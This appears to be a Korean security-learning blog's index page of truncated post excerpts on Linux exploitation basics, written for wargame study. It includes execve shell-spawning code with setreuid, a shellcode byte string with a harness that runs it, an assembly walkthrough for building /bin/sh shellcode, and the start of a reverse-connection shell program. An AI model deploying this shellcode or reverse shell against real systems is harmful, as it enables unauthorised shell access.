systemhacking/background 9

execve, execl

http://bbolmin.tistory.com/35http://forum.falinux.com/zbxe/index.php?document_srl=408554&mid=C_LIB 참고system함수는 쓰기가 간편했다. 단지 system("/bin/sh"); 한줄만 넣으면 알아서 쉘이 실행되는데,execve, execl등은 뭘 어떻게 해야되지..? 하다가 알게됬다. execve는 인자가 3개 들어가며 인자(아래의 *argv[])의 첫번째는 실행시킬 파일명, 중간에는 인자, 마지막에는 반드시 NULL이 들어가야 한다. 아래처럼 실행시키면 된다. #include #include int main() { char *argv[]={"/bin/sh",NULL}; setreuid(geteuid(),geteuid()); ..

aslr, dep, ascii_armor

dep는 data execution prevention으로 데이터 영역에서의 코드를 실행하지 못하게 하는 방법이라고 한다. 저번에 mprotect에 대해서 글을 썼었는데 mprotect가 이걸 우회하기 위해서 나온것 같다. dep가 non executable stack(nx-bit)하고 같은 말로 생각해도 될것 같다. aslr은 주소를 난수화시키는 기법이라고 한다. aslr이 난수화 시키는 주소영역은 Image Base, Heap, Stack, PEB(Process Environment Block), TEB(Thread Environment Block) 라고 한다. 즉 저부분을 벗어나기만 하면 고정된 주소이므로 익스플로잇이 성공 가능하다는 소리같다. (ex) got부분) ascii_armor은 라이브러리..

/proc/<pid>/maps 메모리 권한, 로드중인 라이브러리 확인

앞에서 mprotect에 대해서 썼었는데 예로 어떤 오버플로우 공격을 했는데 내가 지정했던 리턴주소가쓰기 권한이 없는 주소라고 하자. 그러면 해당 주소부분을 잘 덮어씌워도 내가 원하는 코드를 실행하지않고 세그먼테이션 폴트 오류가 발생한다. 리눅스에는 maps라는게 있는데 메모리의 rwx등의 권한을보여준다. 이처럼 백그라운드로 프로세스를 실행시킨 후 ps -ef | grep '이름' 으로 찾아보면 pid가 나오는데, 해당 pid로 maps를 출력하게 해보면 메모리에 대해서 권한이 나온다. 하지만 확실히 믿지는 말자.(maps정보가 틀린 경우도 있다고 한다.) 확실하게 권한이 있는지 확인해보려면 직접 넣어보고 실행해보면 된다.실행권한을 확인해보자. 40013000-40014000 같은경우는 실행 권한이 없는..

mprotect (메모리 권한 변경)

보통 버전이 높은 리눅스에서는 일반적으로 배열에 쉘코드를 넣어서 실행하는게 제대로 되지 않는다.일반적인 쉘코드 실행 검사 프로그램이다. #include #include char shell[]="\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main() { printf("shell len = %d\n",strlen(shell)); (*(void (*)()) shell)(); } 쉘코드는 맞지만 조금 높은 버전의 리눅스에서는 스택이나 힙에 실행권한이 없어져 프로그램이 실행이 되지 않는다. 그러나 mprotect라는걸로 실행 권한을 추가해 주면 해당 영역에서 코드 실..

linux background 2 (binary hacks)

gcc 확장기능(page 94)#include void __attribute__((constructor)) test_ctors(){ printf("cons\n");}void __attribute__((destructor)) test_dtors(){ printf("des\n");}void main(){ printf("main\n");} 와 같은 애트리뷰트를 덧붙일수 있다. glibc를 이용하지 않은 Hello World (page 109)Hello World는 c언어로 5줄 정도면 작성할수 있다. 그런데 동적 링크를 이용한다고 해도 크기가 5kb정도 된다. 좀더 작은 바이너리를 생성하려면?? gcc -o hello -v hello.c 로 컴파일해보면 다양한 .o파일을 링크함을 알수 있다. 그러므로 시스템 ..

linux background 1 (binary hacks)

결국 binary hacks라는 책을 구입했습니다 (-_-;) file - 파일 종류 확인 (page 12)i옵션은 mime 미디어 타입 문자열로 표시된다고 함.[root@localhost fedora]# file /usr/bin/file/usr/bin/file: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped [root@localhost fedora]# file -i /usr/bin/file/usr/bin/file: application/x-executable; charset=binary od - 바이너리 파일 덤프 (pag..

system 기본 용어들

http://devanix.tistory.com/179 에서 퍼왔습니다. 운영자님이 binary hacks라는 책을 요약한건데 기본기가 부족한 저에게 많은 도움이 된듯... 이참에 binary hacks라는 책도 있으면 빌려야겠네요. ---------------------------------------------------------------------[ ABI(Application Binary Interface) ]애플리케이션이 지켜야 할 바이너리 레벨의 규약.함수호출 시 스택 또는 레지스터 사용법, 심볼 name mangling 규칙 등이 정해져 있다.OS, 프로세서별로 규정되어 있다. [ API(Application Programming Interface ]애플리케이션 프로그램에서 OS나 라이브..

리버스 커넥션 쉘코드 제작

lob에서 만들어봄. c 코드 예제. #include #include #include #include #include #include int main(int argc, char **argv) { struct sockaddr_in serveraddr; int server_sockfd; int client_len; char buf[80],rbuf[80], *cmdBuf[2]={"/bin/sh",(char *)0}; server_sockfd = socket(AF_INET, SOCK_STREAM, 6); serveraddr.sin_family = AF_INET; serveraddr.sin_addr.s_addr = inet_addr("192.168.219.143"); //192.168.219.143은 내 주소. ..

쉘코드 제작, dumpcode

1. /usr/include/asm/unistd.h 등에서 execve함수의 시스템 콜 번호 알아내기. 2. 어셈블리어 제작 (sh.s) .global _start _start: xor %eax, %eax xor %edx, %edx push %eax #null push $0x68732f2f #//sh push $0x6e69622f #/bin mov %esp, %ebx #/bin//sh문자열의 주소저장 push %edx push %ebx mov %esp, %ecx movb $0x0B, %al #0x0B==11로 execve의 시스템 콜 번호. int $0x80 3. 어셈블리어를 컴파일해서 되는지 확인 as -o sh.o sh.s ld -o sh sh.o ./sh 4. 제대로 쉘이 실행되면 objdump -..